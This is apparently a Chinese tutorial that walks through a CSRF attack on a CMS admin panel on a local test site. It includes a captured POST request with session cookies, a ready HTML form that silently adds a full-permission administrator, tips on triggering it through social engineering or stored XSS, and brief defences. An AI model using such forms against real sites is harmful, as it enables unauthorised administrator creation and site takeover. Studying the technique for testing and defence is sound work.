初入Csrf Post提交添加管理员

00x01
作者:墨
首发:I春秋
[-]CSRF是个什么鬼?

|___简单的理解:

    |----攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产。

  |___CSRF攻击原理:

 
   |----当我们打开或者登陆某个网站的时候,浏览器与网站所存放的服务器将会产生一个会话(cookies),在这个会话没有结束时,你就可以利
用你的权限对网站进      行操作。然而,攻击者就是利用这个特性,让受害者触发我们构造的表单或者语句,然后达到攻击者想要达到的目的。

具体看文章:Csrf初步了解

00x02

[+]如何构造表单?

  |___GET方法的表单很简单,直接在url构造触发。

    |----略。

  |___POST表单构造(主要演示这个).

    |----工具用Burpsuite

实战开始:

  |----目标站:http://127.0.0.1/

  |----抓取创建管理时Post包

  |----开启burpsuite抓包。

00x03

  |----这里我拿耳朵cms来进行测试

        |----我们先来看一下触发点

这里就是触发点,我们添加的时候抓取他的post包

  1. POST /upload2/admin.php?iframe=admin&action=saveadd HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Length: 309
  4. Cache-Control: max-age=0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  6. Origin: http://127.0.0.1
  7. Upgrade-Insecure-Requests: 1
  8. User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.108
    Safari/537.36 2345Explorer/7.2.0.13379
  9. Content-Type: application/x-www-form-urlencoded
  10. Referer: http://127.0.0.1/upload2/admin.php?iframe=admin&action=add
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.8
  13. Cookie: in_adminid=1; in_adminname=admin;
    in_adminpassword=c3284d0f94606de1fd2af172aba15bf3;
    in_permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9; in_adminexpire=have;
    bdshare_firstime=1472114910255; PHPSESSID=r95qfra16nqp97n4ijl4f5hai5;
    DedeUserID=1; DedeUserID__ckMd5=db571499870b8384;
    DedeLoginTime=1472387898; DedeLoginTime__ckMd5=8cac10bbfe850f69
  14. Connection: close
  15. in_adminname=ichunqiu&in_adminpassword=ichunqiu&in_adminpassword1=ichunqiu&in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0&admin=%E6%8F%90%E4%BA%A4

复制代码

可以看见

in_adminname|----ichunqiu----用户名

in_adminpassword|----ichunqiu----密码

in_adminpassword1|----ichunqiu----确认密码

  1. in_permission%5B%5D=1&in_permission%5B%5D=2&in_permission%5B%5D=3&in_permission%5B%5D=4&in_permission%5B%5D=5&in_permission%5B%5D=6&in_permission%5B%5D=7&in_permission%5B%5D=8&in_permission%5B%5D=9&in_islock=0

复制代码

这里便是为权限

OK,那么我们来创建一个form表单

  1. <html>
  2. <body>
  3. <form action="http://127.0.0.1/upload2/admin.php?iframe=admin&action=saveadd" method="POST">
  4. <input type="hidden" name="in_adminname" value="ichunqiu1" />
  5. <input type="hidden" name="in_adminpassword" value="ichunqiu1" />
  6. <input type="hidden" name="in_adminpassword1" value="ichunqiu1" />
  7. <input type="hidden" name="in_permission[]" value="1" />
  8. <input type="hidden" name="in_permission[]" value="2" />
  9. <input type="hidden" name="in_permission[]" value="3" />
  10. <input type="hidden" name="in_permission[]" value="4" />
  11. <input type="hidden" name="in_permission[]" value="5" />
  12. <input type="hidden" name="in_permission[]" value="6" />
  13. <input type="hidden" name="in_permission[]" value="7" />
  14. <input type="hidden" name="in_permission[]" value="8" />
  15. <input type="hidden" name="in_permission[]" value="9" />
  16. <input type="hidden" name="in_islock" value="0" />
  17. <input type="hidden" name="admin" value="æ??交" />
  18. <input type="submit" value="Submit request" />
  19. </form>
  20. </body>
  21. </html>

复制代码

in_adminname|----ichunqiu1----用户名

in_adminpassword|----ichunqiu1----密码

in_adminpassword1|----ichunqiu1----确认密码

permission|----1~9----权限(有9个权限选择所以写9个permission表单)

我们开始触发

触发成功,并且可以得到小处越权

尝试登陆

成功登陆,由此可见,Csrf只要利用的好还是有很大危害的
如何搭配:

  |___通过社会工程学诱惑触发表单

    |----从而进行添加管理员

  |___通过存储xss迫使管理员触发表单

    |----从而进行添加管理员

如何防护:

  |___利用referer、token或者验证码

|----从而进行一个防护

  |___做成一个类似HTTP Watch的软件

    |----挂在浏览器上拦截或者过滤跨域的cookie进行防御

时间: 2024-12-13 18:40:55

初入Csrf Post提交添加管理员的相关文章

初入码田--ASP.NET MVC4 Web应用之创建一个空白的MVC应用程序

初入码田--ASP.NET MVC4 Web应用开发之一  实现简单的登录 初入码田--ASP.NET MVC4 Web应用开发之二 实现简单的增删改查 2016-07-29 再次之前,需要一台电脑(- ̄▽ ̄)-,以及Visual Studio 2013或者更高版本,SQL Sever数据库(暂时不用) 新建项目 下面会出现选择模板选项(我们选择的是MVC模板) 其中,在创建MVC模板时会有身份验证选项.可选择添加的文件夹和核心引用(Web Form和Web API)以及单元测试选项 身份验证分

初入树莓派1----安装系统+进入SSH

为了更好的从事程序员事业.填坑linux.为学弟打下第一手资料.留下linux培训教材-- -------实际就是为了搭个路由器///玩玩.... 入了树莓派3b +电源+外壳+sd卡---300大洋--------肉疼 树莓派3b的耗电量还是挺大的推荐买个2A以上的电源. ////////////////////////////////////分割线/////////////////////////////////////////// 树莓派系统安装+进入命令行 树莓派支持 数十款操作系统 一

【Xbox one S】开箱&amp;开机&amp;初入坑心得

再来一发水贴,先上产品标准照镇贴: 前言 身为一个资深单机游戏玩家,常年混迹在PC平台,但内心深处一直对主机有种迷之向往,感觉那才是单机游戏的正处之地,坐沙发上拿着手柄对着电视跌宕起伏才是正确的游戏姿势.80后的机友大概都有小时候跟小伙伴坐地上双打小霸王的愉快记忆,儿时的记忆总是那么深刻,任凭岁月和社会如何磨灭,总有些感觉想要找回,所以很难说现在淘来一台游戏机有几分是为了当下的娱乐,几分是为了找到当年的感觉.当然了,今天的PC也完全可以让你坐沙发拿手柄看电视甚至玩着相同的游戏,但就凭它叫游戏机,

初入ES6随笔

初入ES6随笔 var c = a => console.log(a) let a1 = 1; //只在块儿状作用域生效的变量声明 const a2 = 1; //常量声明,值不可改变,快儿状作用域 解构赋值语法 let [a3, b3, c3] = [1, 2, 3]; //数组解构赋值 let [a4 = 0, ...b4] = [1, 2, 3, 4] //数组解构赋值 a4 = 1 b4 = [2,3,4] 允许默认值; let {a5, b5} = {a5: "1",

0x00linux32位汇编初入--前期准备

0x00汇编初入--前期准备 一.汇编工具 在linux平台下常用的编译器为as,连接器为ld,使用的文本编辑器为vim,汇编语法为att 以下是一些工具: addr2line 把地址转换为文件名和行号 ar 创建,修改和展开文件存档 as 汇编器 c++filt 还原c++符号过滤器 gprof 显示程序简档信息 ld 把目标代码文件链接 nlmconv 把目标代码转换为Netware loadable Module格式 nm 列出目标文件中的符号 objcopy 复制和翻译目标文件 objd

初入&#39;C&#39;,以做一个例题有感。

题目:写一个函数返回参数二进制中 1 的个数 方法1: 我自己写的,运用'%'和'/',感觉挺简单的. int count_one_bit(int num) { unsigned int count=0; while(num) { if(num%2==1) count++; num=num/2; } return count; } int main() { int n = 0; int count = 0; scanf("%d", &n); count = count_one_

初入前端,面对一个项目应注意哪些?

前言: 对于初入职场的前端小白来说,一整个项目来了,顿时感觉压力山大,张皇失措,也总会感到手忙脚乱.其实不用怕,拆分步骤,把每个步骤做好,做细,一切都迎刃而解,犹如顺藤摸瓜般畅快淋漓. 目录: 概念的介绍(可略) 项目分哪几个阶段(每个阶段注意什么) 如何排期 解决问题的方法 概念的介绍: PM(产品经理)负责需求的提出和项目的引导.PM根据产品特点和发展目标提出一定的需求,并协调各方资源投入开发.若需求层面有不清晰的地方,应当向PM沟通确认,如:需要做什么.希望达到什么效果.哪些内容应重点保证

致初入职场的兄弟姐妹

致初入职场的兄弟姐妹   我很喜欢电影<燃情岁月>中的那句台词--"有些人能够听见自己内心的声音,非常的清楚,他们依循着自己的内心来行事.这些人变得疯狂,或者成为传奇--"(Some people hear their own inner voices with great clearness and they live by what they hear. Such people become crazy, or they become legends. )     这是

windows 登录账户添加管理员权限

开发使用VS调试.删除文件等等时候总是遇到提示账户需要管理员权限,一般我们都是给账户添加管理员权限. 添加方法可参考百度:http://jingyan.baidu.com/article/47a29f2437e616c01423998b.html 这里记录遇到的一个问题:已经将用户账户添加到了Administrators组中,但是账户还是不具有管理员权限,WHY??? 解决方法:还是需要开启账户的属性中的管理员级别的访问权限. 控制面板->用户账户下的更改账户类型,在用户账户的用户界面,双击你的